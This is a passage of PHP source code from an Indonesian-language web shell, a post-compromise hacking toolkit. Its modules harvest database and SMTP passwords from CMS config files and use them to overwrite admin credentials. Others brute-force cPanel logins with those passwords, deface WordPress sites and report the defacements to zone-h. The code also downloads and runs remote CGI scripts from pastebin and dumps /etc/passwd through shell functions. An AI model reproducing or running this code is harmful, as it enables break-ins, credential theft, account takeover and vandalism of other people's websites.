  2472. echo "Status => <font color=lime>sukses edit
  2473.  
  2474. user, silakan login dengan user & pass yang baru.</font><br><br>";
  2475. }
  2476. mysql_close($conn);
  2477. }
  2478.  
  2479. elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  2480. $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  2481. $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  2482. $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  2483. $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  2484. $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  2485. $prefix = $dbprefix."user";
  2486. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2487. $db = mysql_select_db($dbname);
  2488. $q = mysql_query("SELECT * FROM $prefix ORDER BY
  2489.  
  2490. user_id ASC");
  2491. $result = mysql_fetch_array($q);
  2492. $id = $result[user_id];
  2493. $target = ambilkata($config,"HTTP_SERVER', '","'");
  2494. if($target == '') {
  2495. $url_target = "Login => <font
  2496.  
  2497. color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2498. } else {
  2499. $url_target = "Login => <a href='$target'
  2500.  
  2501. target='_blank'><u>$target</u></a><br>";
  2502. }
  2503. $update = mysql_query("UPDATE $prefix SET
  2504.  
  2505. username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  2506. echo "Config => ".$file_conf."<br>";
  2507. echo "CMS => OpenCart<br>";
  2508. echo $url_target;
  2509. if(!$update OR !$conn OR !$db) {
  2510. echo "Status => <font
  2511.  
  2512. color=red>".mysql_error()."</font><br><br>";
  2513. } else {
  2514. echo "Status => <font color=lime>sukses edit
  2515.  
  2516. user, silakan login dengan user & pass yang baru.</font><br><br>";
  2517. }
  2518. mysql_close($conn);
  2519. } elseif(preg_match("/panggil fungsi validasi xss dan
  2520.  
  2521. injection/",$config)) {
  2522. $dbhost = ambilkata($config,'server = "','"');
  2523. $dbuser = ambilkata($config,'username = "','"');
  2524. $dbpass = ambilkata($config,'password = "','"');
  2525. $dbname = ambilkata($config,'database = "','"');
  2526. $prefix = "users";
  2527. $option = "identitas";
  2528. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2529. $db = mysql_select_db($dbname);
  2530. $q = mysql_query("SELECT * FROM $option ORDER BY
  2531.  
  2532. id_identitas ASC");
  2533. $result = mysql_fetch_array($q);
  2534. $target = $result[alamat_website];
  2535. if($target == '') {
  2536. $target2 = $result[url];
  2537. $url_target = "Login => <font
  2538.  
  2539. color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2540. if($target2 == '') {
  2541. $url_target2 = "Login => <font
  2542.  
  2543. color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2544. } else {
  2545. $cek_login3 =
  2546.  
  2547. file_get_contents("$target2/adminweb/");
  2548. $cek_login4 =
  2549.  
  2550. file_get_contents("$target2/lokomedia/adminweb/");
  2551. if(preg_match("/CMS
  2552.  
  2553. Lokomedia|Administrator/", $cek_login3)) {
  2554. $url_target2 = "Login => <a
  2555.  
  2556. href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  2557. } elseif(preg_match("/CMS
  2558.  
  2559. Lokomedia|Lokomedia/", $cek_login4)) {
  2560. $url_target2 = "Login => <a
  2561.  
  2562. href='$target2/lokomedia/adminweb'
  2563.  
  2564. target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  2565. } else {
  2566. $url_target2 = "Login => <a
  2567.  
  2568. href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya
  2569.  
  2570. dimana :p</font> ]<br>";
  2571. }
  2572. }
  2573. } else {
  2574. $cek_login =
  2575.  
  2576. file_get_contents("$target/adminweb/");
  2577. $cek_login2 =
  2578.  
  2579. file_get_contents("$target/lokomedia/adminweb/");
  2580. if(preg_match("/CMS
  2581.  
  2582. Lokomedia|Administrator/", $cek_login)) {
  2583. $url_target = "Login => <a
  2584.  
  2585. href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  2586. } elseif(preg_match("/CMS
  2587.  
  2588. Lokomedia|Lokomedia/", $cek_login2)) {
  2589. $url_target = "Login => <a
  2590.  
  2591. href='$target/lokomedia/adminweb'
  2592.  
  2593. target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  2594. } else {
  2595. $url_target = "Login => <a
  2596.  
  2597. href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya
  2598.  
  2599. dimana :p</font> ]<br>";
  2600. }
  2601. }
  2602. $update = mysql_query("UPDATE $prefix SET
  2603.  
  2604. username='$user_baru',password='$pass_baru' WHERE level='admin'");
  2605. echo "Config => ".$file_conf."<br>";
  2606. echo "CMS => Lokomedia<br>";
  2607. if(preg_match('/error, gabisa ambil nama domain
  2608.  
  2609. nya/', $url_target)) {
  2610. echo $url_target2;
  2611. } else {
  2612. echo $url_target;
  2613. }
  2614. if(!$update OR !$conn OR !$db) {
  2615. echo "Status => <font
  2616.  
  2617. color=red>".mysql_error()."</font><br><br>";
  2618. } else {
  2619. echo "Status => <font color=lime>sukses edit
  2620.  
  2621. user, silakan login dengan user & pass yang baru.</font><br><br>";
  2622. }
  2623. mysql_close($conn);
  2624. }
  2625. }
  2626. }
  2627. } else {
  2628. echo "<center>
  2629. <h1>Auto Edit User Config</h1>
  2630. <form method='post'>
  2631. DIR Config: <br>
  2632. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  2633. Set User & Pass: <br>
  2634. <input type='text' name='user_baru' value='Achon666ju5t'
  2635.  
  2636. placeholder='user_baru'><br>
  2637. <input type='text' name='pass_baru' value='Achon666ju5t'
  2638.  
  2639. placeholder='pass_baru'><br>
  2640. <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  2641. </form>
  2642. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex:
  2643.  
  2644. /home/user/public_html/nama_folder_config )</span><br>
  2645. ";
  2646. }
  2647. }elseif($_GET['do'] == 'shelscan') {
  2648. echo'<center><h2>Shell Finder</h2>
  2649. <form action="" method="post">
  2650. <input type="text" size="50" name="traget" value="http://www.site.com/"/>
  2651. <br>
  2652. <input name="scan" value="Start Scaning" style="width: 215px;" type="submit">
  2653. </form><br>';
  2654. if (isset($_POST["scan"])) {
  2655. $url = $_POST['traget'];
  2656. echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
  2657. echo "Result :<br />";
  2658. $shells =
  2659.  
  2660. array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php"
  2661.  
  2662. ,"cpbt.php","sYm.php",
  2663. "x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains
  2664.  
  2665. .php","users.php",
  2666. "Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php
  2667.  
  2668. ","dom.php","whmcs.php",
  2669. "vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment
  2670.  
  2671. -system/disqus.php",
  2672. "d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php
  2673.  
  2674. ","c100.php",
  2675. "wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap
  2676.  
  2677. -core.php#",
  2678. "wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.p
  2679.  
  2680. hp","cp.php",
  2681. "tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.ph
  2682.  
  2683. p","tmp/cpn.php",
  2684. "tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor
  2685.  
  2686. .php",
  2687. "whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/aki
  2688.  
  2689. smet/admin.php",
  2690. "templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up
  2691.  
  2692. .php","vb.zip","vb.rar",
  2693. "admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/
  2694.  
  2695. Sym.php",
  2696. "/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/a
  2697.  
  2698. dmin.php",
  2699. "/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/inde
  2700.  
  2701. x.php","shell.php","/amad.php",
  2702. "/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.
  2703.  
  2704. tar","/home.tar.gz",
  2705. "/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/
  2706.  
  2707. site.txt","/error_log","/error",
  2708. "/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql
  2709.  
  2710. ","wp.rar/",
  2711. "wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php"
  2712.  
  2713. ,"tmp/vaga.php",
  2714. "tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/
  2715.  
  2716. ",
  2717. "tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.p
  2718.  
  2719. hp","Symlink.pl",
  2720. "forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php",
  2721.  
  2722. "xd.php", "c100.php",
  2723. "spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp
  2724.  
  2725. /admin.php",
  2726. "Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","pr
  2727.  
  2728. iv8.php","cgi.pl/",
  2729. "tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admin
  2730.  
  2731. s.php",
  2732. "/wp-content/plugins/count-per-day/js/yc/d00.php",
  2733.  
  2734. "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","c
  2735.  
  2736. ok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.p
  2737.  
  2738. hp","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.
  2739.  
  2740. php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ct
  2741.  
  2742. ion.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","in
  2743.  
  2744. donesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju
  2745.  
  2746. .php","asd.php","configs.php","ass.php","z.php");
  2747. foreach ($shells as $shell){
  2748. $headers = get_headers("$url$shell"); //
  2749. if (eregi('200', $headers[0])) {
  2750. echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br
  2751.  
  2752. /><br/><br/>"; //
  2753. $dz = fopen('shells.txt', 'a+');
  2754. $suck = "$url$shell";
  2755. fwrite($dz, $suck."\n");
  2756. }
  2757. }
  2758. echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
  2759. }
  2760.  
  2761. }
  2762. elseif($_GET['do'] == 'cpanel') {
  2763. if($_POST['crack']) {
  2764. $usercp = explode("\r\n", $_POST['user_cp']);
  2765. $passcp = explode("\r\n", $_POST['pass_cp']);
  2766. $i = 0;
  2767. foreach($usercp as $ucp) {
  2768. foreach($passcp as $pcp) {
  2769. if(@mysql_connect('localhost', $ucp, $pcp)) {
  2770. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  2771. } else {
  2772. $_SESSION[$ucp] = "1";
  2773. $_SESSION[$pcp] = "1";
  2774. $i++;
  2775. echo "username (<font
  2776.  
  2777. color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  2778. }
  2779. }
  2780. }
  2781. }
  2782. if($i == 0) {
  2783. } else {
  2784. echo "<br>Nemu ".$i." Cpanel by <font color=lime>JanCox</font>";
  2785. }
  2786. } else {
  2787. echo "<center>
  2788. <form method='post'>
  2789. USER: <br>
  2790. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  2791. $_usercp = fopen("/etc/passwd","r");
  2792. while($getu = fgets($_usercp)) {
  2793. if($getu == '' || !$_usercp) {
  2794. echo "<font color=red>Can't read /etc/passwd</font>";
  2795. } else {
  2796. preg_match_all("/(.*?):x:/", $getu, $u);
  2797. foreach($u[1] as $user_cp) {
  2798. if(is_dir("/home/$user_cp/public_html")) {
  2799. echo "$user_cp\n";
  2800. }
  2801. }
  2802. }
  2803. }
  2804. echo "</textarea><br>
  2805. PASS: <br>
  2806. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  2807. function cp_pass($dir) {
  2808. $pass = "";
  2809. $dira = scandir($dir);
  2810. foreach($dira as $dirb) {
  2811. if(!is_file("$dir/$dirb")) continue;
  2812. $ambil = file_get_contents("$dir/$dirb");
  2813. if(preg_match("/WordPress/", $ambil)) {
  2814. $pass .= ambilkata($ambil,"DB_PASSWORD',
  2815.  
  2816. '","'")."\n";
  2817. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  2818. $pass .= ambilkata($ambil,"password = '","'")."\n";
  2819. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  2820. $pass .=
  2821.  
  2822. ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  2823. } elseif(preg_match("/panggil fungsi validasi xss dan
  2824.  
  2825. injection/", $ambil)) {
  2826. $pass .= ambilkata($ambil,'password = "','"')."\n";
  2827. }
  2828.  
  2829. elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  2830. $pass .= ambilkata($ambil,"'DB_PASSWORD',
  2831.  
  2832. '","'")."\n";
  2833. } elseif(preg_match("/client/", $ambil)) {
  2834. preg_match("/password=(.*)/", $ambil, $pass1);
  2835. if(preg_match('/"/', $pass1[1])) {
  2836. $pass1[1] = str_replace('"', "", $pass1[1]);
  2837. $pass .= $pass1[1]."\n";
  2838. }
  2839. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  2840. $pass .= ambilkata($ambil,"db_password =
  2841.  
  2842. '","'")."\n";
  2843. }
  2844. }
  2845. echo $pass;
  2846. }
  2847. $cp_pass = cp_pass($dir);
  2848. echo $cp_pass;
  2849. echo "</textarea><br>
  2850. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  2851. </form>
  2852. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka
  2853.  
  2854. akan work jika dijalankan di dalam folder <u>config</u> ( ex:
  2855.  
  2856. /home/user/public_html/nama_folder_config )</span><br></center>";
  2857. }
  2858. } elseif($_GET['do'] == 'smtp') {
  2859. echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u>
  2860.  
  2861. ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  2862. function scj($dir) {
  2863. $dira = scandir($dir);
  2864. foreach($dira as $dirb) {
  2865. if(!is_file("$dir/$dirb")) continue;
  2866. $ambil = file_get_contents("$dir/$dirb");
  2867. $ambil = str_replace("$", "", $ambil);
  2868. if(preg_match("/JConfig|joomla/", $ambil)) {
  2869. $smtp_host = ambilkata($ambil,"smtphost = '","'");
  2870. $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  2871. $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  2872. $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  2873. $smtp_port = ambilkata($ambil,"smtpport = '","'");
  2874. $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  2875. echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
  2876. echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  2877. echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  2878. echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  2879. echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  2880. echo "SMTP secure: <font
  2881.  
  2882. color=lime>$smtp_secure</font><br><br>";
  2883. }
  2884. }
  2885. }
  2886. $smpt_hunter = scj($dir);
  2887. echo $smpt_hunter;
  2888. } elseif($_GET['do'] == 'auto_wp') {
  2889. if($_POST['hajar']) {
  2890. $title = htmlspecialchars($_POST['new_title']);
  2891. $pn_title = str_replace(" ", "-", $title);
  2892. if($_POST['cek_edit'] == "Y") {
  2893. $script = $_POST['edit_content'];
  2894. } else {
  2895. $script = $title;
  2896. }
  2897. $conf = $_POST['config_dir'];
  2898. $scan_conf = scandir($conf);
  2899. foreach($scan_conf as $file_conf) {
  2900. if(!is_file("$conf/$file_conf")) continue;
  2901. $config = file_get_contents("$conf/$file_conf");
  2902. if(preg_match("/WordPress/", $config)) {
  2903. $dbhost = ambilkata($config,"DB_HOST', '","'");
  2904. $dbuser = ambilkata($config,"DB_USER', '","'");
  2905. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2906. $dbname = ambilkata($config,"DB_NAME', '","'");
  2907. $dbprefix = ambilkata($config,"table_prefix = '","'");
  2908. $prefix = $dbprefix."posts";
  2909. $option = $dbprefix."options";
  2910. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2911. $db = mysql_select_db($dbname);
  2912. $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  2913. $result = mysql_fetch_array($q);
  2914. $id = $result[ID];
  2915. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id
  2916.  
  2917. ASC");
  2918. $result2 = mysql_fetch_array($q2);
  2919. $target = $result2[option_value];
  2920. $update = mysql_query("UPDATE $prefix SET
  2921.  
  2922. post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comme
  2923.  
  2924. nt_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  2925. $update .= mysql_query("UPDATE $option SET
  2926.  
  2927. option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  2928. echo "<div style='margin: 5px auto;'>";
  2929. if($target == '') {
  2930. echo "URL: <font color=red>error, gabisa ambil nama
  2931.  
  2932. domain nya</font> -> ";
  2933. } else {
  2934. echo "URL: <a href='$target/?p=$id'
  2935.  
  2936. target='_blank'>$target/?p=$id</a> -> ";
  2937. }
  2938. if(!$update OR !$conn OR !$db) {
  2939. echo "<font color=red>MySQL Error:
  2940.  
  2941. ".mysql_error()."</font><br>";
  2942. } else {
  2943. echo "<font color=lime>sukses di ganti.</font><br>";
  2944. }
  2945. echo "</div>";
  2946. mysql_close($conn);
  2947. }
  2948. }
  2949. } else {
  2950. echo "<center>
  2951. <h1>Auto Edit Title+Content WordPress</h1>
  2952. <form method='post'>
  2953. DIR Config: <br>
  2954. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  2955. Set Title: <br>
  2956. <input type='text' name='new_title' value='Hacked By 0x1999'
  2957.  
  2958. placeholder='New Title'><br><br>
  2959. Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input
  2960.  
  2961. type='radio' name='cek_edit' value='N'>N<br>
  2962. <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ),
  2963.  
  2964. kalo pilih <u>N</u> gausah di isi.</span><br>
  2965. <textarea name='edit_content' placeholder='contoh script:
  2966.  
  2967. http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  2968. <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  2969. </form>
  2970. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex:
  2971.  
  2972. /home/user/public_html/nama_folder_config )</span><br>
  2973. ";
  2974. }
  2975. } elseif($_GET['do'] == 'zoneh') {
  2976. if($_POST['submit']) {
  2977. $domain = explode("\r\n", $_POST['url']);
  2978. $nick = $_POST['nick'];
  2979. echo "Defacer Onhold: <a
  2980.  
  2981. href='http://www.zone-h.org/archive/notifier=$nick/published=0'
  2982.  
  2983. target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  2984. echo "Defacer Archive: <a
  2985.  
  2986. href='http://www.zone-h.org/archive/notifier=$nick'
  2987.  
  2988. target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  2989. function zoneh($url,$nick) {
  2990. $ch = curl_init("http://www.zone-h.com/notify/single");
  2991. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  2992. curl_setopt($ch, CURLOPT_POST, true);
  2993. curl_setopt($ch, CURLOPT_POSTFIELDS,
  2994.  
  2995. "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  2996. return curl_exec($ch);
  2997. curl_close($ch);
  2998. }
  2999. foreach($domain as $url) {
  3000. $zoneh = zoneh($url,$nick);
  3001. if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  3002. echo "$url -> <font color=lime>OK</font><br>";
  3003. } else {
  3004. echo "$url -> <font color=red>ERROR</font><br>";
  3005. }
  3006. }
  3007. } else {
  3008. echo "<center><form method='post'>
  3009. <u>Defacer</u>: <br>
  3010. <input type='text' name='nick' size='50' value'Achon666ju5t'><br>
  3011. <u>Domains</u>: <br>
  3012. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  3013. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  3014. </form>";
  3015. }
  3016. echo "</center>";
  3017. }elseif($_GET['do'] == 'lcf') {
  3018. mkdir('LCF',0755);
  3019. chdir('LCF');
  3020. $kokdosya = ".htaccess";
  3021. $dosya_adi = "$kokdosya";
  3022. $dosya = fopen ($dosya_adi , 'w') or die ("Error mas broo!!!");
  3023. $metin = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType
  3024.  
  3025. application/x-httpd-cgi .pl \n AddHandler cgi-script .pl \n AddHandler cgi-script .pl
  3026. \n \n Options \n DirectoryIndex seees.html \n RemoveHandler .php \n AddType
  3027.  
  3028. application/octet-stream .php";
  3029. fwrite ( $dosya , $metin ) ;
  3030. fclose ($dosya);
  3031. $file = fopen("lcf.pl","w+");
  3032. $write = fwrite ($file ,file_get_contents("http://pastebin.com/raw/26jAL0sz"));
  3033. fclose($file);
  3034. chmod("lcf.pl",0755);
  3035. echo "<iframe src=LCF/lcf.pl width=97% height=100% frameborder=0></iframe>";
  3036. }
  3037. elseif($_GET['do'] == 'cgi') {
  3038. $cgi_dir = mkdir('idx_cgi', 0755);
  3039. $file_cgi = "idx_cgi/cgi.izo";
  3040. $isi_htcgi = "AddHandler cgi-script .izo";
  3041. $htcgi = fopen(".htaccess", "w");
  3042. $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  3043. $cgi = fopen($file_cgi, "w");
  3044. fwrite($cgi, $cgi_script);
  3045. fwrite($htcgi, $isi_htcgi);
  3046. chmod($file_cgi, 0755);
  3047. echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0'
  3048.  
  3049. scrolling='no'></iframe>";
  3050. } elseif($_GET['do'] == 'fake_root') {
  3051. ob_start();
  3052. function reverse($url) {
  3053. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  3054. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  3055. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  3056. curl_setopt($ch, CURLOPT_HEADER, 0);
  3057. curl_setopt($ch, CURLOPT_POST, 1);
  3058. $resp = curl_exec($ch);
  3059. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","",
  3060.  
  3061. str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","",
  3062.  
  3063. str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","",
  3064.  
  3065. str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  3066. $array = explode(",,", $resp);
  3067. unset($array[0]);
  3068. foreach($array as $lnk) {
  3069. $lnk = "http://$lnk";
  3070. $lnk = str_replace(",", "", $lnk);
  3071. echo $lnk."\n";
  3072. ob_flush();
  3073. flush();
  3074. }
  3075. curl_close($ch);
  3076. }
  3077. function cek($url) {
  3078. $ch = curl_init($url);
  3079. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  3080. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  3081. $resp = curl_exec($ch);
  3082. return $resp;
  3083. }
  3084. $cwd = getcwd();
  3085. $ambil_user = explode("/", $cwd);
  3086. $user = $ambil_user[2];
  3087. if($_POST['reverse']) {
  3088. $site = explode("\r\n", $_POST['url']);
  3089. $file = $_POST['file'];
  3090. foreach($site as $url) {
  3091. $cek = cek("$url/~$user/$file");
  3092. if(preg_match("/hacked/i", $cek)) {
  3093. echo "URL: <a href='$url/~$user/$file'
  3094.  
  3095. target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  3096. }
  3097. }
  3098. } else {
  3099. echo "<center><form method='post'>
  3100. Filename: <br><input type='text' name='file' value='deface.html' size='50'
  3101.  
  3102. height='10'><br>
  3103. User: <br><input type='text' value='$user' size='50' height='10'
  3104.  
  3105. readonly><br>
  3106. Domain: <br>
  3107. <textarea style='width: 450px; height: 250px;' name='url'>";
  3108. reverse($_SERVER['HTTP_HOST']);
  3109. echo "</textarea><br>
  3110. <input type='submit' name='reverse' value='Scan Fake Root!' style='width:
  3111.  
  3112. 450px;'>
  3113. </form><br>
  3114. NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir
  3115.  
  3116. /home/user/ dan /home/user/public_html.</center>";
  3117. }
  3118. } elseif($_GET['do'] == 'adminer') {
  3119. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  3120. function adminer($url, $isi) {
  3121. $fp = fopen($isi, "w");
  3122. $ch = curl_init();
  3123. curl_setopt($ch, CURLOPT_URL, $url);
  3124. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  3125. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  3126. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  3127. curl_setopt($ch, CURLOPT_FILE, $fp);
  3128. return curl_exec($ch);
  3129. curl_close($ch);
  3130. fclose($fp);
  3131. ob_flush();
  3132. flush();
  3133. }
  3134. if(file_exists('adminer.php')) {
  3135. echo "<center><font color=lime><a href='$full/adminer.php'
  3136.  
  3137. target='_blank'>-> adminer login <-</a></font></center>";
  3138. } else {
  3139.  
  3140.  
  3141. if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php"))
  3142.  
  3143. {
  3144. echo "<center><font color=lime><a href='$full/adminer.php'
  3145.  
  3146. target='_blank'>-> adminer login <-</a></font></center>";
  3147. } else {
  3148. echo "<center><font color=red>gagal buat file
  3149.  
  3150. adminer</font></center>";
  3151. }
  3152. }
  3153. }elseif($_GET['do'] == 'passwbypass') {
  3154. echo '<center>Bypass etc/passw With:<br>
  3155. <table style="width:50%">
  3156. <tr>
  3157. <td><form method="post"><input type="submit" value="System Function"
  3158.  
  3159. name="syst"></form></td>
  3160. <td><form method="post"><input type="submit" value="Passthru Function"
  3161.  
  3162. name="passth"></form></td>
  3163. <td><form method="post"><input type="submit" value="Exec Function"
  3164.  
  3165. name="ex"></form></td>
  3166. <td><form method="post"><input type="submit" value="Shell_exec Function"
  3167.  
  3168. name="shex"></form></td>
  3169. <td><form method="post"><input type="submit" value="Posix_getpwuid Function"
  3170.  
  3171. name="melex"></form></td>
  3172. </tr></table>Bypass User With : <table style="width:50%">
  3173. <tr>
  3174. <td><form method="post"><input type="submit" value="Awk Program"
  3175.  
  3176. name="awkuser"></form></td>
  3177. <td><form method="post"><input type="submit" value="System Function"
  3178.  
  3179. name="systuser"></form></td>
  3180. <td><form method="post"><input type="submit" value="Passthru Function"
  3181.  
  3182. name="passthuser"></form></td>
  3183. <td><form method="post"><input type="submit" value="Exec Function"
  3184.  
  3185. name="exuser"></form></td>
  3186. <td><form method="post"><input type="submit" value="Shell_exec Function"
  3187.  
  3188. name="shexuser"></form></td>
  3189. </tr>
  3190. </table><br>';
  3191.  
  3192.  
  3193. if ($_POST['awkuser']) {
  3194. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3195. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  3196. echo "</textarea><br>";
  3197. }
  3198. if ($_POST['systuser']) {
  3199. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3200. echo system("ls /var/mail");
  3201. echo "</textarea><br>";
  3202. }
  3203. if ($_POST['passthuser']) {
  3204. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3205. echo passthru("ls /var/mail");
  3206. echo "</textarea><br>";
  3207. }
  3208. if ($_POST['exuser']) {
  3209. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3210. echo exec("ls /var/mail");
  3211. echo "</textarea><br>";
  3212. }
  3213. if ($_POST['shexuser']) {
  3214. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  3215. echo shell_exec("ls /var/mail");
  3216. echo "</textarea><br>";
  3217. }
  3218. if($_POST['syst'])
  3219. {
  3220. echo"<textarea class='inputz' cols='65' rows='15'>";
  3221. echo system("cat /etc/passwd");
  3222. echo"</textarea><br><br><b></b><br>";
  3223. }
  3224. if($_POST['passth'])
  3225. {
  3226. echo"<textarea class='inputz' cols='65' rows='15'>";
  3227. echo passthru("cat /etc/passwd");
  3228. echo"</textarea><br><br><b></b><br>";
  3229. }
  3230. if($_POST['ex'])
  3231. {
  3232. echo"<textarea class='inputz' cols='65' rows='15'>";
  3233. echo exec("cat /etc/passwd");
